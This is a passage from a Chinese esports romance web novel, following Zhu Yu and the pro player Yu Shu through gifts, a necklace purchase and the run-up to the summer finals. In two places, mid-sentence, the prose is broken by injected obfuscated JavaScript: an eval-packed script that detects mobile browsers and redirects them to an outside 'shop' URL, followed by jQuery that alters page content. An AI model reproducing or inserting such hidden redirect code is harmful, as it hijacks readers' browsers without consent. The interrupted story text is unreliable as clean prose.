手机一震,祝愉看向亮起的屏幕,俞述发消息问她有没有醒。 腿是不是还疼得厉害…… 视线逐渐模糊,终于,一滴泪直直砸向手机,不偏不倚地盖住那行字。 眼前的一切开始扭曲。 她受伤了,所有人都在关心她,生怕她受到一点委屈。 但是俞述…… 那时候会有人问他吃得好吗? 睡得好吗? 过得好吗? 被人欺负的时候有没有感到害怕? 一个人离开家乡去陌生的地方会感到孤独吗…… 那些情绪随着眼泪牢牢扒在她身上,慢慢渗进五脏六腑,牵一发而动全身,四肢跟着哭颤。 可是这些话……会有人问他吗?他又能对谁说呢? …… 很久很久,铃声进来的时候,祝愉才从臂弯中抬起头。 双眼被压得难受,眼前满是重影,眼泪流过的地方微微绷紧。 铃声响了一遍后又开始响第二遍。 祝愉定定看着来电显示的名字是俞述,使劲闭了闭眼,赶走那眼尾的酸涩后才接起电话。 “休息得还好吗?”俞述问她。 祝愉藏着鼻音,“还好。” “我……是不是吵醒你了?” “怎么会呢?我很早就醒了。” 俞述沉默了几秒,说道:“有没有想吃的?我去买。” “没有……江笛有给我订饭,不用买了。”祝愉捂着麦深呼吸一大口又吐出,“你什么时候来?” 俞述默默关掉聊天框,那边的营养师好友还在等他的指令。 不理对方的消息轰炸,他估算了一下时间,“大概一点多吧。” “好,那我等你……” “嗯。” “那我先挂啦,还没洗脸呢。”祝愉捏紧被子,摸着湿润的一角。 “好。” …… 另一边,飞渊趿拉着拖鞋,顶着一头乱发走下来,“今天不是休息吗?你起这么早?” “等会有事出门。”俞述看着手机,表情居然有几分纠结。 “哦……” 飞渊多看了几眼,也没问他怎么了,只是说道:“我等会儿也得出门一趟。” 他女朋友这两天跟他吵架,他正好趁着放假去哄一哄。 飞渊开了瓶冰水,咕咚咕咚几口喝完,又从冰箱里找到一块面包,坐在餐桌一头,一边吃一边看电视剧。 半响,看到男女主准备接吻时,飞渊忍不住问了一句,“你一直站着不累吗?” 一直站他旁边,他都不好意思看人小情侣谈恋爱。 俞述突然看向他,“有事问你。” “请讲。”飞渊客气道。 俞述难得主动问他事,不知道会问些什么? “女生心情不太好的时候,怎么做会让她开心一些?” 飞渊:“……” “算了,你先吃吧。”俞述站直,手插兜里准备走。 他去问问五七。 “诶!等等!”飞渊扯住俞述的衣服,“我还没说呢,你走什么?” 俞述又停下。 飞渊坐下后撑着头想了会儿,“我跟我女朋友……就是因为没什么时间见面,一直吵架,一直吵架,她没什么安全感,我又一直打比赛找不到见面的机会……” 察觉到俞述的走神,飞渊拉回主题,“但是一般她不开心的时候,我就会给她买花,买包包、化妆品,还有项链戒指什么的,那女生喜欢的东西其实挺好懂的,又不难猜,送这些准没错。” 俞述垂着眼若有所思。 飞渊问:“你是想送给祝愉吧?” “嗯。” “你惹她生气了?” 俞述瞥了他一眼。 飞渊默不作声。 也是,这两人看着都不像是会吵架的人。 “反正就这些,你就看着送吧。” 俞述轻嗯了一声,“你等会儿要去哪?” 飞渊不好意思道:“去给我女朋友负荆请罪。” …… 下午一点半,门铃准时被按响。 小香早有准备,提起玄关的垃圾,咧着嘴对门口站着的人说:“我下去扔个垃圾,顺便买点水果,你们聊。” 说完便火速离开。 祝愉正靠在沙发上看杂志,听到声响后 把眼贴扔进垃圾桶,拿起小镜子看了眼,确保没有红肿后才直起身看向玄关。 俞述今天穿着一件深蓝色短袖,简单的黑裤,此时正弯腰换鞋,脚边放了一堆大大小小、五颜六色的袋子。 她看着俞述走近,好奇地问道:“你买了什么?” “给你的礼物。”俞述捏了捏后脖颈,不知道她会不会喜欢。 祝愉有些许不解,“为什么要给我礼物?” “想让你开心一点。”俞述垂着眸,将东西一一摆开。 祝愉的心软了又软。 这像是小孩摔倒之后,嚎啕大哭时,旁边的人手足无措,只能愚钝地递给小孩一块糖,嘴里不知道怎么安慰,只能小心翼翼地哄一句——“你别哭了”。 可安慰小孩的那个人,受过的伤却更让人触目惊心。 这种笨拙和温吞,磨得人心口发酸。 “喜欢吗?”俞述低声问她。 祝愉很肯定地说:“喜欢。” 她没有办法不喜欢这样的俞述。 但是现在,她是真的希望俞述也能多开心一点。 …… “你等会儿就要走了吗?”祝愉看着正在给她挑葱叶的俞述,又确认了一遍。 “嗯,今晚就要恢复训练了。”俞述将粉丝汤推到祝愉面前。 “挑干净了。” 第三阶段,赛训根据两轮的比赛情况,决定后续比赛还是由俞述上场,毕竟烁安的英雄池不深,没有办法支撑FRG拿到熟悉的体系去与别的队伍作对抗。 更何况灼忧的指挥也欠点火候,加上赛程紧,没有时间等他们练成,只能上俞述,恢复之前的打法…… 江笛订的饭很清淡,粉丝汤里也只有牛肉和几片菜叶,祝愉觉得没什么味道,便一小口一小口地慢慢吃,细嚼慢咽,半天连三分之一都没吃完。 祝愉不经意地瞥了一眼坐在她对面的俞述,发现他就静静地看着她吃,居然还没有走神。 她不由得加快了速度。 过去十分钟,碗底只剩下一两片青菜。 “不吃了?” “不吃了。”祝愉不知道他这份可惜的语气从何而来。 俞述仔细收拾完桌面,将碗和筷子洗干净,放进橱柜。 一会儿后,他站在门口,“我要走了。” “好。” 祝愉凝视片刻,想要让这张脸的轮廓在她的记忆中更加深刻一些,直到下次见面。 俞述并未马上离开。 祝愉心念一动,伸手揪住他的衣服,“我可以抱一下你吗?” 俞述眼中有一丝茫然,“为什……” 心中的疑惑并未说完,祝愉一把扯过俞述,将他牢牢地拥入怀中。 她的鼻尖将将抵住他的肩颈,俞述身上是暖烘烘的味道,像雨后的太阳,也像是冬日里的烈火灼烧。 俞述的体温要比她高很多,这份暖意透过皮肉,深深烙在她流淌的血液中,让她安心,让她眷恋。 “为什么?”那句疑问还是问出口。 想鼓励一下你…… 但这句借口终究泯灭于她的喉中,没有其他理由,她只是想抱一下这个让她一眼看见就很喜欢很喜欢的人。 让她为他心疼,让她为他流泪…… 怀中的人让俞述的双手无处安放,他低着眉看向祝愉,最终,轻轻地揽过祝愉的腰,一点点收紧,他像是沙漠中快要干枯的花,遇到了可遇不可求的水源,拼命汲取,然后彻底溺于这份润泽。 他们就这样静静地相拥。 不知道过去多少秒,祝愉缓缓开口,“我以后可能会变成一个话痨。” “为什么?”俞述的睫毛颤抖。 “先保密。”祝愉闭上眼睛,耳边是他有力而急促的心跳声。 她想每天问他过得开不开心,有没有睡个好觉,吃顿好饭。 想告诉他感到孤单的时候有她在,不用害怕。 想每分每秒都对他说“我喜欢你”。 想告诉他,当你出现的那一秒,我的心是真的在为你剧烈跳动…… 它很开心。 我也是。 37. 第37章 伏暑依旧,日子紧赶慢赶地往前走。 这段时间,祝愉腿上的疤结了又褪,但终归是恢复得不错。 俞述那边也接连传来好消息,FRG第三轮坐稳S1的位置,拿到了季后赛胜者组名额,一段紧密的赛程之后,火热的七月也随之落下帷幕。 一阵忙碌之后,转眼就到了八月中旬。 快到七夕,一个月前跟俞述拍的杂志终于定了发刊日期,此时祝愉在跟杂志PR沟通后续宣传的事,因为不是主宣模特,祝愉的宣传任务还算轻松,只需要发几条带着品牌方和杂志的词条就好,其他的部分杂志那边会着手负责,不用她操心。 祝愉多问了一句,“那当时跟我搭档的人……也会跟着宣传吗?” 那边的PR反应了一会儿,恍然道:“你是说那个电竞选手吧?” “嗯。”祝愉轻声应道。 “嘶……我跟他没有对接过,但听主编的意思是他不会参与后续宣传,好像是太忙了。” 声音划过听筒,祝愉默了几秒,说了声“谢谢”便挂断电话。 她打开微信,点开置顶,指腹上下滑动,看着这几天跟俞述的聊天记录,不外乎吃的什么饭,做了什么事,睡得好不好……诸如此类老掉牙的内容。 夏季赛到目前为止,赛场上只剩下八支队伍,各个战队的选手都处于高压状态,除了晚上睡觉的时间,其余时候都在做训练。 像FRG这种夺冠热门队伍,训练的强度只增不减。 俞述更是如此。 她听阿良说,俞述每天下训之后还要自己一个人练很久,有比赛时,还会把每场比赛的回放都仔细复盘一遍,包括对手的视角,他也会逐一看完,跟赛训组讨论局内的布置和打法,手机备忘录和随身携带的小本子上都密密麻麻地记着一堆笔记…… “俞述他啊,是有遗憾的。”这是阿良对她说过的话,她记得很清楚。 离决赛只差一步,当然遗憾。 所以,他们的最后一句交流便停留在一星期前的“晚安,比赛后见”。 这事被江笛知道之后,连着给祝愉竖了几个大拇指,“还没当竞嫂,就有着竞嫂的觉悟,要是真谈了,你准备当隐形人啊?” 祝愉被逗笑,摇了摇头,“那倒不至于,只是这次……不一样。” 这是她第一次完整地参与到俞述的比赛当中,从常规赛到季后赛,看他输过也赢过,但比起那张永远神色平淡的脸,她更想看到他的笑容。 她希望俞述能得偿所愿。 …… FRG赢下季后赛第一大场的比赛后,晚上八点,薰薰苦哈哈地带着俱乐部的几人出来吃饭。 他这个月因为迟到被罚了三千块钱,91干脆让他把这钱拿出来请大家伙吃顿好的,不用上缴给他了。 正好赢了比赛,俱乐部几人也是兴致勃勃地商量了大半天,从西餐到中菜,从天上飞的到地下跑的,从水里生的到树上长的,还是不知道吃什么。 最后是许枫拍板决定,说去吃海底捞,这样每个地方长的都能吃上。 离基地最近的海底捞在市中心的一条商业街上。 几人刚拐进那条街,灼忧就看见了旗杆上的牛排广告,他拍了把薰薰,“咱去吃西餐吧,这照片看起来挺不错的。” “不要,就吃海底捞。”薰薰撩开灼忧的手,斜了一眼他。 开什么玩笑,这么一堆人去吃西餐,三千绝对下不来,多的钱绝对要他补,海底捞刚刚好,一顿吃下来他还能有剩的。 一旁的五七倒是在那广告上瞄见一行小字,“七夕当天,情侣进店可享半价……” “这么快就到七夕了吗?”飞渊点开手机日历扫了一眼,七夕就在六天后,正好是他们比赛那天,喃喃道,“联盟这么会排赛程的吗?” “真假的我靠,我说怎么碰到粉丝在发我们跟YSG的情侣横幅,给我吓得以为咋了。”五七捂着胸口,一副被恶心到了的表情。 他记得去年七夕那天也有他们的比赛,跟YSG对打,结果吃了个大零蛋回家,被粉丝说是他们过七夕的方式挺特别,吃这么多蛋也不怕噎死,急着想要上天当鹊桥让牛郎织女早日相会。 结果还是孽缘,只能沾一身恶果,之后的那几场比赛更是输得难看…… 今年的七夕又是他们跟YSG的比赛,真成情侣电竞了。 许枫后退几步,肘了一下身旁的俞述,“我还没问你跟那女孩怎么样了?在一起没?” 俞述淡淡道:“你问这个干什么?” “嘿!你这话说的,我是你领队,对选手各方面的情况不得了解了解,万一我不问,你们又憋着不说,哪天给我来个大的,我怎么跟王总交代?” “哦。” “哦?哦就完了?” “嗯。” 许枫转头,彻底不想干老妈子的活了,他要试试老爷子如何洒脱,问得多了还以为他真喜欢八卦选手私生活呢。 一分钟后。 “所以你们在一起了没?” 俞述笑了一下,“还没有。” “行吧。” 许枫又继续嘱咐道:“如果后面谈了呢,你就好好谈,好好对人家,但是也不能只知道谈恋爱,比赛和训练还是最重要的……” “我知道你心态稳,不会因为这些事影响到自己,但是呢人无完人,很多选手都会因为身边的一些事影响到自己……” 许枫话说了一半,旁边的人突然朝一边走去。 他抬眼望过去,俞述在一家珠宝店的橱窗前站定,旁边是巨幅海报,上面写着“爱的告白”,四个大字异常醒目,生怕路过的人看不到。 爱的告白? 许枫凑过去,看了眼海报,又顺着俞述的视线望过去,“干嘛?你要买啊?” 橱窗前展示着两条做工精良的项链,在灯光的照射下闪闪发光。 “要不进去看看?” 许枫才问了一句,俞述就已经抬腿上了台阶,径直走进店里。 店员看见后热切地迎了上来,问他们需要看些什么。 俞述:“我想看一下橱窗里展示的项链。” “好的,请跟我来。” 店员从柜台里取出那条项链,介绍道:“这是我们品牌最近新推出的一款情侣项链,整体设计都偏简约,吊坠部分是一个心形,女款的上面有镶嵌几颗碎钻,男款的没有,只是做了一个镂空……” “我们品牌的设计师给它起了一个名字,叫做‘无尽爱’。” 许枫“哟呵”了一声,“这名字还怪有意思的,你觉得怎么样?” 俞述看着那两颗紧紧依偎的心形看了许久。 “就这个吧。” “好的,我帮你包起来。” 店员笑盈盈地戴着手套开始裁剪包装用的材料。 扎蝴蝶结时,店员说:“其实这款项链还有一个寓意是……” “永无止境的心动只为你一人。” 无论是告白还是承诺,都是如此的浓厚。 …… 走在吃饭的路上,许枫瞄了眼俞述的侧脸,“要不要我帮你去送?” 这段时间正是比赛的关键时期,91也对选手的私生活下了命令,卸载一切娱乐软件,不允许刷视频、看微博、追剧这种行为的出现,有女朋友的也不许联系,没有女朋友的更不准在这个时候春心萌动,要是被他发现,直接踢去基地的后花园当肥料。 命令下得死,但没有人有怨言。 几人连带着教练都老老实实地按照计划表办事,每天也是吃饭、训练、睡觉,三点一线,毫无偏差。 俞述目不斜视,拒绝了许枫的好意。 “好吧。” 许枫也没有问为什么,说需要他的时候尽管提,他会跟阿良做好一切后勤保障,几个人只管拿回一座冠军奖杯当做他们的酬劳就好。 俞述依旧面无表情,但他深深看了一眼许枫。 “一定会的。” 他不会让支持他们的所有人失望。 …… 杂志售刊的那天,也是俞述比赛的日子。 祝愉按照PR发的内容编辑好定时微博后,切进直播软件,准备配合品牌方做一场连麦直播。她的任务确实简单轻松,跟几位主宣聊十分钟就可以收工,把位置腾给下一位参与本次拍摄的博主。 运营在后台敲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他起身出了休息室,避开那阵喧闹,走到楼梯间,靠在墙上等祝愉的回复。 “我没有赶你走。”祝愉垂着眼,声音很软,“想让你好好放松一下,比赛打了这么长时间,肯定很累……” “我不累。”俞述顿了一下,目光落向亮着荧光绿的消防通道标志,喉结滚了一下,缓缓说道,“只要……听到你的声音我就不累了。” 这道肉麻的话顺势传入祝愉的右耳,她僵了一下,带着笑意,“你说什么?” “……” “我没听见,你可以再说一遍吗?”祝愉轻声道。 “不要。” 干脆利落。 祝愉将手抵在唇边,压着笑,“那好吧,你快去吃饭吧……决赛那天,我会到现场去给你加油的,好不好?” “好。”俞述应了一声,耳根泛红。 挂断电话,俞述紧紧闭了一下眼,像是有点受不了自己刚刚说的那句话。 糟透了…… 他缓了一会儿才站起身,视线移向别处,正好透过栏杆缝隙,对上一双慌乱的眼睛。 是YSG的打野,世界。 “哈~喽?”对方迟疑地打了个招呼,随即干笑两声,“我在这边准备抽烟来着,没想到你进来了……” 察觉到俞述越来越暗的脸色,世界连忙说道:“你放心,我一定不会说出去的。” 边说边往门口退,他摸到门把手,快速打开,钻了出去,“再见!” 又大声强调了一遍,“我一定守口如瓶。” 俞述:“……” 第二天。 所有俱乐部的选手都知道了FRG的大魔王中单在赢下胜者组决赛那天,在楼梯间跟一个神秘人撒娇。 语气之柔软。 简直令人难以置信。 38. 第38章 早上九点的基地总是寂静的,但今天例外,因为今年夏季赛总决赛的比赛地点在宣城,FRG的几人要坐今天的早班机赶往那里。 薰薰打着呵欠,带着一脸倦容,横躺在客厅的沙发上,“一定要坐这么早的飞机吗?能不能改签啊。” “我感觉我要死了,真的。”灼忧七拐八拐地从楼上下来,手里的行李箱哐哐哐直响。 五七趴在桌上,听着这轰隆的声音龇牙咧嘴,“你就不能把那行李箱提起来吗,吵死人了。” 他的黑眼圈本来就重。 昨天聚完餐回到基地就已经凌晨一点了,又被催着收拾行李,他才睡了五个小时不到,就又被许枫喊醒,现在的心情真是造孽了。 飞渊揉了揉脸,“许枫哥呢?” “咋了?”被喊到名字的中年大叔从厨房里出来,手里拿着几瓶冰水,猛地贴到薰薰脸上。 薰薰被冰得吱哇乱叫,瞌睡跑了大半。 许枫如法炮制,将将唤醒几人的神志。 飞渊接过水,拧开瓶盖,一口气喝下去,问道:“俞述呢?” “已经在车里等着了,你们没看到吗?”许枫挑着眉。 “我看到了。”五七下来得最早,有幸看见了俞述那张早上九点的脸。 依旧神清气爽。 灼忧眼睛还是睁不开,“我是真佩服俞述,他到底是怎么做到一直清醒的,我就没见着他困的时候。” “嚼冰块。”薰薰突然说了一句。 五七纳闷道:“什么时候?我怎么没见过。” 许枫没忍住吐槽了一句,“你睡得跟头猪一样,能见到啥啊?” 真不怪他有怨言,他活了这么多年就没见过这么能睡的人,每天喊他起床,隔十分钟就要叫一次,说着醒了醒了,结果下一次进到卧室,他还保持着那个睡觉的姿势,一动不动。 五七懒得跟许枫打嘴皮仗,反正也吵不赢,他继续追问薰薰,“你在哪看见的啊?” “就是有一天我早上六点多起来上厕所,看见客厅有亮光,就下去看了眼,是从厨房那传来的,还有咯吱咯吱的声音,我以为进贼了呢。” 薰薰瞪着眼说:“结果走近一看,是老大,他手里还端着一盒冰,一半都没了。” “我就问他,怎么在这嚼冰块啊。” “你们猜他怎么回答的?”薰薰卖了个关子。 “怎么回答的。”众人一脸好奇。 薰薰直起身子,模仿着俞述的语气,“提神。” “……” “没了?” “对啊,没了。”薰薰摊手,“你们不觉得这回复很老大吗?” 众人没理他,几个脑袋扎堆讨论了起来。 “我说那冰箱的冰块咋有时候冻不结实,原来是一直有人用啊。”许枫有时候喝杯咖啡都找不到一块瓷实的冰块,感情是用完之后被补新的了。 “我好像也见过这么一次,那天是有商务活动,得早早起来做妆造,他嘴里好像就嚼着什么,嘎吱嘎吱的,我以为是薄荷糖呢。”飞渊作为目击证人之一也发表了自己的看法。 “说起来,我也有这个印象……” 几个人这么讨论下来,心中对俞述又多了一条刻板印象:爱吃冰并且牙口好,能嚼冰。 大门被推开,俞述穿着一件连帽衫进来,手插兜,皱着眉看向客厅的几人,音量比平时高了几分,“都起来了,还不走?” 众人看见了那若隐若现的虎牙。 牙口好……感觉咬人也挺疼的。 灼忧麻利拖起行李箱,“走走走,走。” 他越过俞述,急匆匆往外赶出去。 这一声比冰块提神,哐当哐当的动静持续了一会,客厅总算是空了。 五七最后一个出来,以迅雷不及掩耳之势的速度将什么东西塞进嘴里,又哇的一声吐出来,“我靠,冰死了。” 冰得他牙花子都打颤。 薰薰目睹了全程,撇撇嘴,“你不是老大,就少学。” 五七一手捂着嘴,一手冲他挥了挥拳头,“滚。” “赶紧上车!”91在副驾驶喊了一句。 三四分钟后,人齐,几辆商务车终于出发。 两个半小时之后,海市飞往宣城的飞机起飞。 离夏季赛总决赛,还有八天。 …… 随着败者组决赛的结束,YSG又一次进入了总决赛,与FRG争夺队史的第三冠。 全竞圈粉丝的焦点瞬间集中到这两支队伍身上,讨论得热火朝天,网上的热度久居不下,连带着宣城的文旅都暗自捏了把汗,势必要做好这次的电竞宣传。 大屏宣传、横幅、快闪店……五花八门,连祝愉家楼下的火锅店都发的是两支队伍的清凉应援物。 林惠接过冰凉贴,扶了扶眼镜,翻来覆去看过后递给不怎么耐热的陈建英,“你贴着吧。” 陈建英放下筷子,撕开包装袋,贴之前眯着眼看了会儿冰凉贴的正面,“FRG……重明,这什么意思?还有人姓重啊?” “咳咳咳……”祝愉被辣椒油呛了一下。 “哎呦,吃饭吃慢点嘛,这不被呛到了。” 林惠倒了一杯酸梅汤给祝愉,看着她喝了几口才继续说道,“现在这些人真会搞,一个游戏比赛都弄的这么隆重。” “也不算乱搞吧,现在电竞都进亚运会了,是正儿八经的体育项目,隆重不正说明是正规的比赛嘛。”陈建英将冰凉贴按在脑门上,因为陈词恩是电竞主持人,他还专门去了解了一下,但知道的也不多。 “行行行,电竞,不过我记得你们那个办公室李老师的儿子就辍学去打这什么电竞了吧?”林惠想起陈建英有跟她说过这回事。 陈建英又撕开一袋,贴在后脖颈那,回忆了一瞬,“对,好像是……打什么王者荣耀的,这都几年前的事了,我也记不太清了,后来也不怎么听她提过,可能是不打了吧。” “那这就是浪费时间,我就说现在的孩子都太冲动了,不考虑一下以后的事,没有学历就没有工作,那未来几十年都等着喝西北风吗……”林惠又拿出那套说辞,但目光时不时投向祝愉。 “也不一定啊,现在有学历找不到工作的也一大把。” “所以就说他们对未来就没个考量,考上大学了,本来是可以有个好工作的,结果自己不想干,老想着别的事……” “……” 祝愉默默吃着碗里的菜,没有加入这场聊天,防止话题引到她头上。 林惠说完之后清了清嗓子,看向祝愉,“你等会儿是不是还要去找你姐?” “嗯,我还要过去陪她彩排呢。”祝愉将毛肚倒下锅。 她是昨天到的宣城,为了防止林惠追问,便找借口说是陪陈词恩出差才回来的。 “行,等等我们送你去。” 一顿饭吃过,林惠临时接到电话回学校开会,陈建英则开车送祝愉去比赛场馆,途中,两人随便聊了几句。 “真不回家住吗?在家待着要比酒店舒服很多啊。” 祝愉摇了摇头,“不了,酒店离比赛场馆近,我跟姐来去也方便。” “那行,如果有什么想吃的给爸说,爸给你们送过去。” “好。”祝愉笑着点头答应。 …… 到了场馆,祝愉戴着工作牌进去,一眼就看见了姜其然和阿良,两人在前台接待处有说有笑,周围还站着几个其他队伍的选手,生面孔大于熟面孔,有几个好像是ZDG和YSG的选手。 阿良率先看到的祝愉,喊了一声,“愉姐!” 十几双眼睛齐刷刷地转向她,眼里带着疑惑、震惊、了然以及看戏的情绪。 祝愉站在门口,犹豫了几秒还是走过去打了声招呼。 姜其然也挥了挥手,“姐姐,好久不见啊。” 祝愉勾了勾唇,“好久不见。” 一旁的世界突然勾住他的脖子往后拉,小声说:“这是你亲姐?长得好漂亮啊,能不能介绍给我。” 姜其然似笑非笑地看了他一眼,“你要是不想活命的话可以试一试。” “干嘛啊,这么小气。”世界捶了他一拳,“我长得也不差好不好。” “谁跟你说这了,她不是我姐,而且……”姜其然上下扫了他一眼,嗤笑,“你比脸能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17762722|207176||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 比得过俞述?” “你这就没意思了,谁要跟他比啊,你提他做什么?”世界翻了个白眼,嘴里嚷嚷着,“那我自己去。” 姜其然没有阻拦,而是掏出手机给俞述发消息:【你什么时候下来?】 俞述:【?】 姜其然:【就等你一个了,能不能有点时间观念】 俞述:【一分钟】 姜其然满意地收起手机,一脸干坏事的表情躲在一边,笑而不语。 祝愉正跟阿良闲聊,才知道他们这会儿是刚补拍完比赛宣传片,在等车回酒店。 “哈喽哈喽。”旁边窜出一个人影,正是世界,冲祝愉打着招呼。 祝愉也笑着说了声“你好”。 他跟着姜其然喊姐姐,“姐姐好,我是YSG的打野,叫世界,本名是左声,你可以叫我小左、小声……都可以,我今年20岁,身高180……” 世界滔滔不绝地介绍着自己,就差把七大姑八大姨给拎出来全部说一遍。 祝愉脸上的笑容有点挂不住,不知所措地看了眼阿良。 阿良也不知道这小子在干什么,但余光瞥到不远处走来的人,招了招手,“这里!” 几人闻声看过去,是俞述。 他穿着一套简单的黑t黑裤,背着个黑包,衣服上连个印花都没有,唯一一点彩色还是背包上的挂件,看起来是只小狗。 俞述从人群中穿过,扫了眼世界,又走近几步,站定,此时他离祝愉的距离不到半米,可以说是缩短了人与人之间的正常社交距离。 世界没察觉到不对劲,他拍了一下俞述的胳膊,“你挡到我了。” 身后的姜其然没忍住笑出了声,肩膀一怂一怂。 俞述淡淡地说:“挡到什么了?” 世界“嘶”了一声,总不能说挡到他搭讪了吧。 几人就这样互相看着对方,祝愉撩了一下耳边的发丝,不知道说些什么。 还是阿良看不下去,一手拉过世界,“走吧走吧,别打扰人家了。” “我?”世界一脸疑惑,难道不是俞述打扰他吗? 难道…… 但他又想起几天前撞到俞述打电话的事,没头脑地说了句,“俞述不是有女朋友吗?” 声音不大,刚好够他们这一片的人听见,而周围的视线也更加炽热,他们这几天倒是听不同的人提起过俞述恋爱的事,还说俞述在那女朋友面前可听话可娇羞了,就是不知道真假。 有人起哄了句,“喂,俞述,你女朋友?” 俞述紧紧闭了闭眼,面上带了几分危险的神色,“所以你还是传出去了,是吧?” “呃……我……”世界的眼珠子慌乱的左右转动,这也不能怪他啊,这么个事偏偏让他这个大嘴巴子碰上了,而且这是俞述的八卦啊……他真的忍不住。 “嗯?”俞述压低声线,语气冷冷道。 祝愉不知道发生了什么,也不知道这几天他们选手当中关于俞述的传闻,眼中带着疑惑问,“传出去什么?” “……” 姜其然看够了热闹,此时大发善心,从阿良怀里搂过世界,朝话题中心的两人摆了摆手,“没什么没什么,你们先聊。” 走到门口,姜其然拍了拍世界的肩膀,“所以就让你好好想一想,活命重要还是谈恋爱重要,你还敢撬俞述的墙角。” 世界终于后知后觉,“是她啊?” “嗯哼。” “我靠你这个贱人!什么都知道也不拦着我,看着我出丑,早知道败决那天我就死蹲在下路抓爆你了!!!” “我要杀了你!!!”害得他出丑不说,撩的居然还是俞述的女朋友,他现在去下跪道歉还来的及吗? 世界狂怒过后又想起两天后的比赛,心里安慰道:没关系,他是打野啊,俞述就算把私人恩怨算到他头上也伤害不了他半分。 中单是打不死打野的。 想到这,世界才松了口气,狠狠瞪了眼姜其然,“别让我抓到你的把柄。” “走着瞧。” 姜其然一脸无所谓,“随你。” 反正你是被俞述抓到小尾巴了。